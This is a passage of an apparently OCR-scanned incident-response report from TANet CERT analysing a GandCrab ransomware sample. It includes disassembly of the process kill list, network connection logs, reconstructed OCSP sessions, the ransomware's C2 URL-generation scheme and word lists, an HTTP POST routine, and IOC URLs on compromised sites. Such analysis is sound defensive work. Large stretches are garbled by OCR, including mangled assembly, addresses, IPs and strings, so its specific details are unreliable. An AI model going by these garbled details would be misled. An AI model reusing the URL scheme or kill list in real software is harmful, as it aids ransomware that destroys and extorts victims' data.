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Se97 TANet Computer Emergency Response Team

3.

msftesql.exge sqlagent.exesqlbravser.exg sqlwriter.exg oracle.exg ocssd.exg

dbsnmp.exg synctime.exg agntsvc.exg isqlplussvc.exg xfssvccon.exg

sqlservr.exg mydesktopservice.eyeocautoupds.exyeagntsvc.exg encsvce.exg

firefoxconfig.exg tbirdconfig.ex¢ mydesktoppgos.eyeocomm.exg

mysqld.exg dbeng50.exg sqgbcoreservice.eyeexcel.exg infopath.exg

msaccess.eyxanspub.exg onenote.eXeoutlook.exg powerpnt.exg steam.exg

thebat.exg thebat64.exg thunderbird.exg vision.exg winword.exe

wordpad.exe

L

mov dword ptr [ebp-BACh], offset thFtESql_exe ; 'msftesql.exe”

mouv dword ptr [ebp-Ba8h], offset aSqlagent_exe ; "'sqlagent.exe”

nou dword ptr [ebp-8A4h], offset aSqlbrowser_exe ; “sqlbrowser.exe”

mou dword ptr [ebp-8aBh], offset aSqlwriter_exe ; "sqluriter.exe”

mou dword ptvr [ebp-2Ch], offset alracle_exe ; "oracle.exe™

mou dword ptr [ebp-98h], offset alcssd_exe ; "ocssd.exe”

mou dword ptr [ebp-94h], offset aDbsnmp_exe ; “dbsnmp.exe’

nou dword ptr [ebp-98h], offset aSynctime_exe ; “synctime.exe”

nou dword ptr [ebp-8Ch], offset afgntsvc_exeisq ; "agntsvc.exeisqlplussvc.exe”
mou dword ptr [ebp-88h], offset akfssuccon_exe ; "=fssuccon.exe”

mou dword ptr [ebp-84h], offset aSqlserur_exe ; "sqlserur.exe”

mov dword ptr [ebp-88h], offset aMydesktopservi ; "mydesktopservice.exe”
mouv dword ptr [ebp-7Ch], offset alcautoupds_exe ; "ocautoupds.exe”

nou dword ptr [ebp-78h], offset afgntsuc_exeagn ; “agnisvc.exeagntsuvc.exe”
mou dword ptr [ebp-74h], offset afAgntsuc_exeenc ; "agnisvc.exeencsuvc.exe’
mov dword ptr [ebp-78h], offset aFirefoxconfig_ ; "firefoxconfig.exe™
mou dword ptr [ebp-6Ch], offset aThirdconfig_ex ; "thirdconfig.exe”

mouv dword ptr [ebp-68h], offset abydesktopqos_e ; "mydesktopgos.exe

nou dword ptr [ebp-64h], offset alcomm_exe ; “ocomm.exe’

nou dword ptr [ebp-68h], offset abysqld_exe ; “"mysqld.exe™

mou dword ptvr [ebp-5Ch], offset abysqldHt_exe ; "mysqld-nt.exe™

mou dword ptr [ebp-58h], offset abysqldOpt_exe ; "mysqld-opt.exe’

mov dword ptr [ebp-54h], offset aDbeng5@8 _exe ; "dbeng50.exe”

nou dword ptr [ebp-58h], offset aSgbcoreservice ; "sqgbcoreservice.exe”
nou dword ptr [ebp-4Ch], offset aExcel_exe [ "excel .exe”

mou dword ptr [ebp-48h], offset alnfopath_exe ; “infopath.exe”

mouv dword ptr [ebp-4iih], offset aMsaccess_exe ; "'msaccess.exe”

mou dword ptr [ebp-%8h], offset aMspub_exe ; "mspub.exe”

mov dword ptr [ebp-3Ch], offset aOnenote_exe ; "onenote.exe"”

mou dword ptr [ebp-38h], offset alutlook_exe ; “outlook.exe”

mou dword ptr [ebp-34h], offset aPowerpnt_exe ; “powerpnt.exe”

mouv dword ptr [ebp-36h], offset aSteam_exe ; “steam.exe”

mou dword ptr [ebp-2Ch], offset aSglseruvr_exe ; “sqlserur.exe”

mou dword ptr [ebp-28h], offset aThebat_exe ; "thebat.exe”

mouv dword ptr [ebp-24h], offset aThebat6h exe ; "thebatéh.exe”

mou dword ptr [ebp-28h], offset aThunderbird_ex ; “thunderbird.exze™
mov dword ptr [ebp-1Ch], offset alisio_exe ; “visio.exe”

mou dword ptr [ebp-18h], offset aWinword_exe ; "winword.exe"

mou dword ptr [ebp-14h], offset aWordpad_exe ; "wordpad.exe”
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Se97 TANet Computer Emergency Response Team

M unnt IP:163.28.5.19 163.28.228.9 163.28.228.11

n°| GCA3 exe:2696 Properties = B =
Image Performance Performance Graph Disk and Network
GPU Graph | Threads | TCP/IP | Security | Enwironment | Job Strings
Resolve addresses

Pirto...  Local Addwess Femcote fddiess State

TZP 192 168 195 15503572 192 220 252 240:80 ERTABLIZHED

TP 19R16B195.155635  19235.177.6480 ESTAELISHED

TZF 1902 165, 195, 15555554 9512599121 http E:TABLIZHED

TP 102168195 1556350 1632081140 ESTABLEHED

TZF 192 162 195 155653600 19235 177 6400 ERTABLIZHED

TP 19R16R19S.1S563601 1832 1LE0 ESTAELIZHED

TZF 1902 168 195 155:R5620 2723619153580 E:2TABLIZHED

TP 192168095.1556362  200.1B220B.245.80 ESTAELISHED
2018/9/7 T4 03:47:37 Added GC43 . exe TCP 192.168.195.155:63513  52.29.192.136:80
2018/047 T4 03:47:43 Added GCA3 . exe TCP 192,168,195, 155:63514  117.18.237.29:80
2018/9/7 T4 03:47:53 Added GC43. exe TCP 192.168.195.155:63515 117.18.237.29:80
2018/9/7 T4~ 03:47:57 Added GC43 . exe TCP 192.168.195.155:63516  52.29.192.136:80
2018/947 T4 03:48:17 Added GCA3 . exe TCP 192,168,195, 155:63517  178.33.233.202:80
2018/9/7 T4~ 03:48:19 Added GC43. exe TCP 192.168.195.155:63519 87.236.19.51:80
2018/947 T4 03:48:26 Added GC43 . exe TCP 192.168.195.155:63525 146.66.72.87:80
2018/9¢47 T4 03:48:28 Added GC43 . exe TCP 192.168.195.155:63526  69.73.180.151:80
2018/9/7 T4~ 03:48:28 Added GC43 . exe TCP 192.168.195.155:63527  87.236.16.29:80
2018/047 T4~ 03:48:30 Added GCA3 . exe TCP 192.168.195.155:63520  173.247,242.133:80
2018/9/7 T4 03:48:32 Added GC43 . exe TCP 192.168.195.155:63530  188.165.53.185:80
2018/9/7 T4~ 03:48:32 Added GC43 . exe TCP 192.168.195.155:63532 107,178,113, 162:80
2018/047 T4 03:48:34 Added GCA3 . exe TCP 192.168.195.155:63534  188.64.184.90:443
2018/9/7 T4 03:48:36 Added GC43 . exe TCP 192,168,195, 155:63537  188.64.,184.90:443
2018/9/7 T4~ 03:48:38 Added GC43 . exe TCP 192.168.195.155:63539  213.186.33.3:80
2018/047 T4 03:48:35 Added GC4A3 . exe TCP 192.168.195.155:63540 50.87.58.165:80
2018/9/7 T4 03:48:40 Added GC43. exe TCP 192.168.195.155:63543  178.238.37.162:80
2018/9/7 T4~ 03:48:42 Added GC43 . exe TCP 192.168.195.155:63544  178.238.37.162:80
2018/047 T4 03:48:46 Added GCA3 . exe TCP 192.168.195.155:63546  223.26.62.72:80
2018/9/7 T4~ 03:48:54 Added GC43 . exe TCP 192.168.195.155:63547  77.104.144,325:80
2018/9/7 T4~ 03:48:58 Added GC43 . exe TCP 192.168.195.155:63550  31.41.45,138:80
2018/947 T4~ 03:48:58 Added GCA3 . exe TCP 192.168.195.155:63551  104.28.31.160:80
2018/9/7 T4 03:49:14 Added GC43. exe TCP 192.168.195.155:63553  202.43.45.181:80
2018/947 T4 03:49:37 Added GC43 . exe TCP 192.168.195.155:63554  202.43.45,181:80
2018/9/7 T4~ 03:49:57 Added GCA3 . exe TCP 192.168.195.155:63556  §7.236.16.208:80
2018/9/7 T4~ 03:50:01 Added GC43 . exe TCP 192.168.195.155:63559 8§9.252.187.72:80
2018/947 T4~ 03:50:01 Added GC43 . exe TCP 192,168,195, 155:63561  89,252,187.72:443
2018/9/7 T4 03:50:05 Added GC43 . exe TCP 192.168.195.155:63564 179,188, 11.34:80
2018/9/7 T4 03:50:07 Added GC43 . exe TCP 192.168.195.155:63566 104,24, 105.13:80
2018/947 T4~ 03:50:09 Added GCA3 . exe TCP 192.168.195.155:63567  104.24,105.13:80
2018/9/7 T4 03:50:09 Added GC43 . exe TCP 192,168,195, 155:63569  51.68.50.163:80
2018/9/7 T4~ 03:50:11 Added GC43 . exe TCP 192.168.195.155:63570  144.217.47.134:80
2018/947 T4~ 03:50:11 Added GCA3 . exe TCP 192,168,195, 155:63571  144.217.47.134:443
2018/9/7 T4 03:50:35 Added GC43 . exe TCP 192,168,195, 155:63572  192.229,232.240:80
2018/9/7 T4~ 03:50:41 Added GC43 . exe TCP 192.168.195.155:63574  104.27.162.241:443
2018/047 T4~ 03:51:12 Added GCA3 . exe TCP 192,168,195, 155:63575 149,56, 154, 141:80
2018/9/7 T4 03:51:14 Added GC43. exe TCP 192.168.195.155:63577 213.186.33.186:80
2018/9/7 T4 03:51:16 Added GC43 . exe TCP 192.168.195.155:635380 37.140.192.32:80
2018/9/7 7 03:51:18 Added GCA3 . exe TCP 192,168,195, 155:63582  67.227.236.96:80
2018/9/7 T4 03:51:20 Added GC43. exe TCP 192.168.195.155:63583 67.227.236.96:443
2018/9/7 T4 03:51:22 Added GC43 . exe TCP 192.168.195.155:635384  203.69.81.74:80
2018/947 T4 03:51:32 Added GCA3 . exe TCP 192.168.195.155:63585  104.16.90.188:80
2018/9/7 T4 03:51:50 Added GC43. exe TCP 192.168.195.155:63586  104.31.76.95:80
2018/947 T4~ 03:51:50 Added GC43 . exe TCP 192.168.195.155:63587 104.31.76.95:443
2018/947 T4 03:52:09 Added GC43 . exe TCP 192.168.195.155:63589  171.244.34.167:80
2018/9/7 T4 03:52:09 Added GC43 . exe TCP 192.168.195.155:63590 217.174.149,130:80
2018/947 T4~ 03:52:11 Added GC43 . exe TCP 192.168.195.155:63591  70.40.197.96:80
2018/9/7 T4 03:52:13 Added GC43 . exe TCP 192.168.195.155:63592  70.40.197.96:443
2018/9/7 T4 03:52:37 Added GC43 . exe TCP 192.168.195.155:63593 192,35, 177.64:80
2018/047 T4 03:52:45 Added GCA3 . exe TCP 192.168.195.155:63594 03 125.99.121:80
2018/9/7 T4 03:52:47 Added GC43 . exe TCP 192,168,195, 155:63595  93,125,99,121:443
2018/9/7 T4~ 03:52:49 Added GC43 . exe TCP 192.168.195.155:63596  94.231.109.239:80
2018/947 T4~ 03:52:51 Added GC4A3 . exe TCP 192.168.195.155:63597  O4,231.109,239:443
2018/9/7 T4 03:52:53 Added GC43 . exe TCP 192.168.195.155:63598 163.28.228.11:80
2018/9/7 T4 03:53:01 Added GC43 . exe TCP 192.168.195.155:63599  137.74.238.33:80
2018/947 T4~ 03:53:01 Added GCA3 . exe TCP 192,168,195, 155:63600 192,35, 177.64:80
2018/9/7 T4 03:53:03 Added GC43. exe TCP 192.168.195.155:63601 163.28.228.11:80
2018/9/7 T4~ 03:53:03 Added GC43 . exe TCP 192.168.195.155:63602  185.135.88.105:80
2018/947 T4~ 03:53:05 Added GCA3 . exe TCP 192,168,195, 155:63603 103,107, 17.102:80
2018/9/7 T4 03:53:07 Added GC43 . exe TCP 192.168.195.155:63609 95.213.173.173:80
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2018/9/7 T4~ 03:52:53 hdded GCA3 . exe TCP 192, 168.195.155:63598  163.28.228.11:80
2018/9/7 T4 03:53:03 Added GC4A3 . exe TCP 192,168,195, 155:63601  163.28.228.11:80
2018/9/7 T4 03:54:31 Added GCA3 . exe TCP 192168195, 155:63642  163.28.228.11:80
2018/9/7 T4~ 03:59:39 hdded GC43 exe TCP 192,168,195, 155:63705  163.28.228.9:80
2018/9/7 T4 04:02:21 Added GCA3 . exe TCP 192,168,195, 155:63741  163.28.228.11:80
2018/9/T T4 04:04:57 Added GCA% . exe TCP 192,168,195, 155:63786  163.28.228.11:30
20180947 T4 04:09:29 hdded GC43 . exe TCP 192,168,195, 155:63868  163.28.228.9:80
2018/9/7 T4~ 04:13:53 Added GCA3 exe TCP 192,168,195, 155:63962  163.28.5.19:80
2018/9/T T4 04:18:29 Added GCA% . exe TCP 192,168,195, 155:64047  163.28.228.9:80
2018/9/7 T4 04:23:21 Added GC4A3 . exe TCR 192,168,195, 155:64147  163.28.228.9:80
4, Ty BO A2HBA ZMZMyo A2H5BA
¢~ 5B A KWD B Letbs EffcrrVyFptr DAGS an
0 3 uo YX kt F Lz° wWo B PF |

RSA Security Analytics Reconstruction for session ID: 75 ( Source 192.168.195.155 : 63601, Target 163.28.228.11 : 80)

2018 15:53:01 to 9/ 018 15:54:29 Packet Size 4,968 bytes  Payload Size 4,158 bytes

GET /MFMwUTBPMEOwSzAJBezU rDgMCG U ABBR%ZE S nrncpqzh2FP11 IGRsFqEtTHE INQQUqEpg TwR93h i o
OTn3pk¥1TH2F00TEECEsMud 1hwl jLubF 1 fnzaCVq1SpQ%30%3D HTTP/L1.1

Connection: Keep-Alive

Aocept: I

Tser-dgent: Microsoft-CryptodPI/6.1

Host: ocsp.int-x3.letsencrypt.org

HTTE/1.1 200 OK

Server: nginx

Content-Type: applicationfocsp-response

Content-Length: 527

ETag: "04B1780BS8EAB483A05FDAEEDEEASDEADF2E6678058C324007051E42D1549417"
Last-Modified: Thu, 06 Sep 201& 19:00:00 UTC

Cache-Control: puhlic, no-transfarm, wust-revalidate, max-age=11212
Expires: Fri, 07 Sep 2018 10:59:54 GHT

Date: Fri, 07 Sep 2018 07:53:02 GHT

Connection: keep-alive

e

G906+0 0 0 --0JL0UUS10T

Let's Encryptl#0!1Ulet's Encrypt Authority ¥320180906 190800Z0uls0E0+~-fRED @ dle-
“qlimic HEEVBELET ¢ . € (022BN 9906 € 20180906190000Z €20 180913190000Z0* @26
1ERVE AR F2@ . FEEEPIFE oiE0F FEe RETHE @F 2Bedao oiE: 197
0@ nfinEn 1 @ wANeSieSE FEZoe

BEnfT WG 907Hl e TESe 8 & FEE + [@5C  Tee 06 [FE/ ARBEMS
N4 b B

RSA Security Analytics Reconstruction for session ID: 128 ( Source 192.168.195.155 : 63705, Target 163.28.228.
Time 9/07/2018 15:59:381t0 9 018 16:01:38 Packet Size 2,609 bytes Payload Size 2,081 bytes

GET /MFMwUTEFMEOwSzAJBel rDglCGgUABBRS2ESnrnepqz®2FP i1 [GReFqE41THEIXOOUgEpqTwRO3bn I
OTu3pkV17%2F007KECEZON 1%2FSR 17 T5VwPoxb 074K+ 134%3D%3D HTTP/1.1

Connection: Keep-dlive

hocapt: ¥/¥

Usar-Agent: Microsoft-CryptosPl/6.1

Host: ocsp.int-x3.letsencrypt.org

HTTP/1.1 200 0K

Server: nginx

Content-Type: application/ocsp-response

Content-Length: 527

ETag: "34202036103788E334C959D7 1DDCYBE3CEC1EGSAFO1556812B84281E96D64274"
Last-Modified: Tue, 04 Sep 2018 13:00:00 UTC

Cache-Control: public, no-transform, must-revalidate, max-age=12255
Expires: Fri, 07 Sep 2018 11:23:54 GMT

Date: Fri, 07 Sep 2013 07:59:39 GHT

Connection: keep-alive

04

@906+0 0 0 --0Jlouvsiow

Let's Encryptl#01Ulet's Encrypt Aunthority K32012000413170020u0s0E04+~-fBE @ dle-
Tqlim e HEEOHEED @ @LOVEENIERe @ 20180004130000Z @20180911130000Z0% Wik
192 ol @206 Hie "I e N -HI" B R € Tawk €. B D
[#ElE 7-2%; v)H0  0F4e €€ & SEH(R 3 46845 o | TWEX e X
Ei96 9666 0566 9-9illn Zewvef(fF ERGLFT HEHMKie- i
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Analytics Reconstruction for session ID- 309 ( Source 192.168.195.155 - 63962, Target 163.28.5.19 - 80)
816:13:51 to 9/07/2018 16:15:51  Packet Size 1,155 bytes  Payload Size 627 bytes

GET /MFEwTzBNMEswSTAIBlDeMCGeUABBSTutqH inru3%2FPOW 1 1XS jRRz0TLT A0Uf eNaZUF rp34K4b A
1dC0od jh1quZUCEAuUZ%2Ba Thqh V1 e OMQWwETT43D HTTR/1.1

Connection: Keep-Alive

hccept: */#

User-dgent: Wicrosoft-CryptodPI1/6.1

Host: ocsp.comodoca.com

HTTP/1.1 200 O

5.

Server: Apache R
K-0CSP-Responder-ID: dwdccancsplf E
Content-Length: 5 5
Content-Type: application/ocsp-response P
Date: Fri, 07 Sep 2018 08:13:53 GMNT o
Connection: keep-alive N
0 :
GC43exdl n10 Y 3 NXCGB " A Y w
aNo u L. Q DF Y/ B F A&dANO
GandCrab CxX IPB yvia~ . y .y .y
T « yw N . ygxvinen dyGandCratA idy GandCrab
AQA é YnZ 8580C¢+4 _n o> 1t

http:/{host}/{word1}/{word2}/{fname}.{extension} |

3 B A
{host} a o 5
{word1} wp-conteny statioy conteny includey datgy uploady news
{word2} imagey picturey imagey graphig assetg picsy imgsy tmp
{fname} imy dey kay key anmy ey soy fuy sey day hey ruy mey moy thy
zu
{extension} | jpgy pngy gify bmp

-text 00404957 loc_h4B4957: ; CODE XREF: sub_hBugD7+66Tj
.text 00404957 push 806h

.text:0040495C lea eax, [esp+BA1Ch+var_800]
-text: 90404963 push g

-text:Bo4B4965 push eax

Ltext: 00404966 lea esi, [ebx+1]

Ltext:00404969 call sub_4689CH

.text-0848496E add esp, BCh

-text:oo4O4971 lea eax, [esp+BA18h+var_nodo]
.text: 00404975 push eax

Ltext 00404976 lea eax, [esp+BA1Ch+var_800]
-text:0048497D push offset aHttps ; "http://%s"
-text:00404982 push eax ; LPUSTR
.text: 00404983 call ds:iwsprintfy

.text: 00404989 add esp, BCh

-text:B04B49BC lea edx, [esp+BA18h+var_808]
-text:00404993 lea ecx, [esp+BA18h+var_noh]
.text: 00404997 call sub_4847BD

.text: 00404990 ®or ecx, BCX

-text:B040499E
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-text:0040488E
-text: 00404894
-text:o848489A
-text: 00404898
-text:oe4848A1
-text: 08404802
-text:084848A8
-text: 00404809
-text:004048AF
-text:004048B0
-text:o84848B1
-text: 00404887
-text:004048BC
-text:a04048BD

call
lea
push
lea
push
lea
push
lea
push
push
1ea
push
push
call

ds:1strcpyW

eax, [ebptruar_1228]

eax
eax,
eax
eax,
eax
eax,
eax
ebx

eax, [ebptruar_1828]
offset aSS55_3

eax
ds iwsprintfy

[ebp+uar_1428]
[ebptuar_1628]

[ebp+String1]

AT AT AT L
LPUSTR

* {host}s A

OB AtLth’'™H

KW D 3 GandCrab

A&

L
r

«Hz CHT

£ D 'QCH

Hex dump
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GandCrab « o9 A ® M Cv{host} sYuviuwt
{word1}M ¢ 4 A~ Y{wordl}s A X wp-conteny statigy conteny

includey datgy uploads news |

text:004047CC moy esi, ecx

-text:004047CE mov [ebp+1pString2], offset aWpContent ; “wp-content”
-text:004047D5 push 7

text:ap4auyDy mov ebx, edx

-text:004047D9 mou [ebp+var_18], offset aStatic ; "static”
-text:004847E0 pop ecx

.text:0B4847E1 imul eax, [esi], 343FDh

text:0B4B47ET xor edx, edx

-text:004047E9 mov [ebp+var_14], offset aContent ; “content™
-text:004047F0 mov [ebp+var_18], offset alncludes ; “includes™
-text:004047F7 mov [ebp+var_C], offset abData ; "data”
-text:004047FE mou [ebp+var_8], offset alploads ; “uploads™
-text:004048085 add eax, 269EC3h

text:a840480A mov [ebp+var_A4], offset aHews ; "news”
.text:00404811 mou [esi], eax

text:o0404813 car eax, 18h

text:oB4a4816 and eax, FFFFh

Lq C {word2} F° URL LM Y{word2}s A X image$ picture§

imaggy graphig assetg picsy imgs tmp |

-text: 08404230 push ebp

-text:a040423E mou ebp, esp

text-ooLaL230 sub esp, 20h

text-aaupgu2un imul eax, [ecx], 343FDh

Ltext:A8484246 push esi

-text:-ae4o4247 mou [ebp+1pString2], offset almages ; "images”
.text:an4B424E mow esi, edx

-text:-00404250 mou [ebp+var_1C], offset aPictures ; "pictures”
.text:-apuanu257 mov [ebp+var_18], offset almage ; "image"
.text:0040425E add eax, 269EC3h

-text:a0404263 mou [ebp+var_14], offset aGraphic ; "graphic”
-text:0840426R0 mov [ecx], eax

text:-aauah26C car eax, 18h

text-dguau?aF and eax, 7

-text:a8404272 mou [ebp+var_18], offset afissets ; "assets"”
text:an4BaN279 mow [ebp+var_C], offset aPics ; “pics”
-text:00404280 mou [ebp+var_8], offset almgs :; "imgs"
.text:-apuaLu287 mov [ebp+var_4], offset aTmp ; “tmp"
.text:0848428E push [ebp+eax=4+1pString2] ; 1pString2
.text:aa4@L292 push esi ; 1pStringi

-text: 08404293 call ds:lstrcpy¥

text:08404299 mouy eax, esi

.text: 08484298 pop esi

-text:a840429C mou esp, ebp

-text:aaLa429E pop ebp

-text:a840429F retn

-text:0048429F sub_484h23A endp

Mrg t3YAn | {fnamejw®M 4 . dnm . YT An

. . w®, T doimy dey kay key any ey soy fuy sef day hey ruy mey moy
th zu |



o

(TACERT

M1 (TACERT)
Se97 TANet Computer Emergency Response Team

-text: 00404200 push ebp
-text:084842A1 mou ebp, esp
-text: 00404203 sub esp, 44h
-text: 00404206 push ebx
.text:@o4B42n7 push esi
text:00484208 mow esi, ecx
.text:@o4B420A mou [ebp+1pString2], offset alm ; “im"
.text: 00484281 push edi
-text: 00404282 mou [ebp+var_48], offset abDe ; “de”
.text:004842B9 mow edi, edx
-text:004042BE mou [ebp+var_3C], offset aKa ; "ka"
text:0048842C2 imul eax, [esi], 343FDh
-text:004042C8 mou [ebp+var_38], offset aKe ; "ke"
-text:004042CF mou [ebp+var_34], offset aAm ; “am”
-text: 00404206 mou [ebp+var_38], offset aEs ; "es"
-text:0040842DD mou [ebp+var_2C], offset aSo ; "so”
-text:0048042EL add eax, 269EC3h
-text:004042E9 mou [ebp+var_28], offset aFu ; “fu”
.text:004042F0 mou [esi], eax
-text:0048042F2 sar eax, 16h
text:004042F5 and eax, BFh
-text:004042F8 mou [ebp+var_24], offset aSe ; “se”
-text:004042FF mou [ebp+var_28], offset aDa ; "da"
-text: 00404306 mou [ebp+var_1C], offset aHe ; “he”
-text: 00404300 mou [ebp+var_18], offset aRu ; "ru"
-text: 00404314 mou [ebp+var_14], offset abe ; "me”
-text: 00404318 mou [ebp+var_18], offset alo ; "mo"
-text: 00404322 mou [ebp+var_C], offset aTh ; "th"”
-text: 00404329 mou [ebp+var_8], offset alu ; "zu"
.text:Baou04330 push [ebp+eax*4+1pString2] ; 1pString2
.text: 00404334 push edi ; 1pString1
-text: 00404335 call ds:1lstrcpyl
.text:AO4B433B imul eax, [esi], 343FDh
-text: 00404341 mou ecx, 269EC3h
g, > 1A URL A /. {extension} WY A N1, wh
T dojpgy pngy gif bmp,
* _text:00404858 test eax, eax
* .text:-904084852 jz short loc_4848D1
* _text:0040485Y imul eax, [esi], 343FDh
* _text:-A048485A mou [ebp+var_18], offset adpg ; "jpg”
* .text:00404861 mou [ebp+var_C], offset aPng :; “png”
* _text:00404868 mowv [ebp+var_8], offset aGif ; "gif"
* .text:0040486F mouv [ebp+var_4], offset aBmp ; “bmp"
* .text:004B4BTH add eax, 269EC3h
* .text: 00484878 mov [esi], eax
* _text:0048487D sar eax, 168h
* text:00404888 and eax, 3
* _text:004084883 push [ebpteax=h+var_18] ; 1pStringZ
* .text: 00404887 lea eax, [ebp+var_1224d]
* .text:0040488D push eax ; 1psString
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text:-984066E2 push edi ; duContext

.text-884066E3 push ecx ; duFlags

.text:-004066EL push edi ; lplpszacceptTypes

text:-A04066ES push edi ; lpszReferrer

.text-AB4066EG push offset szlersion ; "HTTP/1.1"

-text:@04066EB push esi : lpszObjectHame

.text-884066EC mou esi, [ebp+hConnect]

-text:-a04066EF push offset aPost ; "POST™

text:-a84066FL push esi ; hConnect

-text:004066F5 call ds:HttpOpenRequesty

-text:004066FB mou [ebp+hInternet], eax

.text -804 066FE test eax, eax

.text:-004067 08 jz short loc_486727

text:-a84067082 push [Ehp+dwﬂptiunalLength] . dwﬂptiunalLength

-text:@04067 85 push [ebp+1p0Optional] ; lpOptional

-text:00406708 push [ebp+dwHeadersLength] ; dwHeadersLength

.text-004067 0B push [ebp+lpszHeaders] ; lpszHeaders

-text:-884067BE push eax ; hRequest

-text: 004067 0F call ds:HttpSendRequesty

text-aB406715 test eax, eax

-text:00406717 jz short loc_40671E

.text:80406719 20F edi, edi

-text:-9048671B inc edi

text:0848671C jmp short loc 486724
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RSA Security Analytics Reconstruction for session ID- 384 ( Source 192.168.195.155 - 63508, Target 217.160.0.234 - 80)

2018 15:47:16 to 9/07/2018 15:47:56 Packet Size 1,686 bytes Payload Size 1,038 bytes

GET / HTTP/1.1 A
Tser-dgent: Mozilla/5.0 (Windows NT 6.1; WOWES; Trident/7.0; rv:11.0) like Geckn

Host: www.hillerimpex.com

Cache-Control: no-cache

HTTF/1.1 302 Moved Temporarily
Server: nginx

Date: Fri, 07 Sep 2018 07:47:17 GMT
Content-Type: text/htnl
Content-Length: 134

Connection: keep-alive

Keep-Alive: timeont=13

Location: https:/fwww.billerimpex.con/
Expires: Fri, 07 Sep 2018 08:07:17 GMT
Cache-Control: max-age=1200

<html=

<head><title>302 Found</titler</head>
<hody bgcolor="white">
<center><h1>302 Found</hl></center>
<hrs<centersnginx</centers>

</body=

</htnl=
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h abidhandicraft.com/includes/images/kadehdypg
h hoteltravel2018.com/news/graphic/zuim.dmp
h conthoi.ga/news/assets/herukdgif
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